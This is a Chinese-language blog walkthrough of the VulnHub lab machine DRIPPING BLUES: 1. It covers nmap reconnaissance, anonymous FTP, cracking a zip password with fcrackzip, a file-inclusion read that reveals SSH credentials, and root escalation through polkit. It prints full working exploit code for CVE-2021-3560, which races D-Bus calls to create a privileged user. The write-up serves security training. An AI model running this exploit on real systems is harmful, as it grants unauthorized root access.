Title

vulnhub靶场之DRIPPING BLUES: 1

准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/drippingblues/drippingblues.ova,下载后直接vm打开即可。

知识点:CVE-2021-3560漏洞利用(polkit漏洞)、fcrackzip爆破zip文件密码、文件包含。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.4.0/24,获得靶机地址:192.168.4.146

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.4.146,显示开放了21、22、80端口,开放了ftp服务、ssh服务、web服务。

尝试访问下ftp服务,发现不需要账户名和密码,可以直接登录,在ftp服务中发下一个respectmydrip.zip文件,下载下来进行解压,发现需要密码。

查看80端口,显示是一串字符串和两个账户名:travisscott & thugger,访问下robots.txt(nmap扫描时已获得),发下两个文件:dripisreal.txt和/etc/dripispowerful.html。

访问下dripisreal.txt和/etc/dripispowerful.html,在dripisreal.txt文件获得提示信息,但是/etc/dripispowerful.html文件无法访问,猜测存在文件包含漏洞。

目录扫描:

使用dirmap进行目录扫描,获得index.php和robots.txt(这个上面已知)

fcrackzip密码破解:

使用fcrackzip进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip,获得密码:072528035。

解压之后获得respectmydrip.txt文件和secret.zip文件,respectmydrip.txt文件是一条信息:just focus on "drip"。secret.zip文件同样需要密码,但是这个未破解出来。

文件包含漏洞:

访问index.php页面,想到提示:just focus on "drip",猜测存在参数drip,访问下/etc/dripispowerful.html,成功获得密码:imdrippinbiatch。

获取shell:

使用账户名和密码:thugger/imdrippinbiatch进行ssh连接,成功获取shell权限。

在当前账户下发现存在user.txt文件,读取该文件获取第一个flag。

提权:

输入命令:sudo -l查看下当前可以使用的特权命令有哪些,显示不存在。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1(emmm,真巧,在上一篇vulnhub靶场之CORROSION: 2刚好也遇到了这个漏洞:CVE-2021-4034)

这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc在kali上进行进行gcc编译,然后上传到靶机进行执行,但是发现靶机缺少gcc无法执行,那只能找下polkit其余漏洞了。

在github上查找下polkit的可利用的exp,发现主要是两个,一个是CVE-2021-3560,一个是CVE-2021-4034(这个上面已经测试过,因缺少gcc无法执行,所以那就测试下CVE-2021-3560)

在这个网站:https://github.com/Almorabea/Polkit-exploit下载下来可利用的exp(下载很缓慢,将代码复制下来也可以使用),并上传到靶机赋予执行权限,然后执行获得root权限。

CVE-2021-3560_exp_py源码
import os
import sys
import time
import subprocess
import random
import pwd


print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)

check = True
counter = 0
while check:
	counter = counter +1
	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
	try:
    		#print('1 - Running in process', process.pid)
		Random = random.uniform(0.006,0.009)
		process.wait(timeout=Random)
		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

	user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
	if user.find("uid") != -1:
		print("[+] User Created with the name of ahmed")
		print("[+] Timed out at: "+str(Random))
		check =False
		break
	if counter > 2000:
		print("[-] Couldn't add the user, try again it may work")
		sys.exit(0)


for i in range(200):
	#print(i)
	uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)

	#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
	password = "string:"
	#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
	#password = f"string:{res.rstrip()}"

	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
	try:
    		#print('1 - Running in process', process.pid)
    		Random = random.uniform(0.006,0.009)
    		process.wait(timeout=Random)
    		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")

p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)

 使用root账户在/root下成功读取flag信息。

 闲着无聊,使用root账户安装了gcc,然后切换回了thugger账户,执行CVE-2021-4034的exp,此时也可以正常获取到root权限。

posted @ 2022-11-13 09:49  upfine  阅读(506)  评论(0编辑  收藏  举报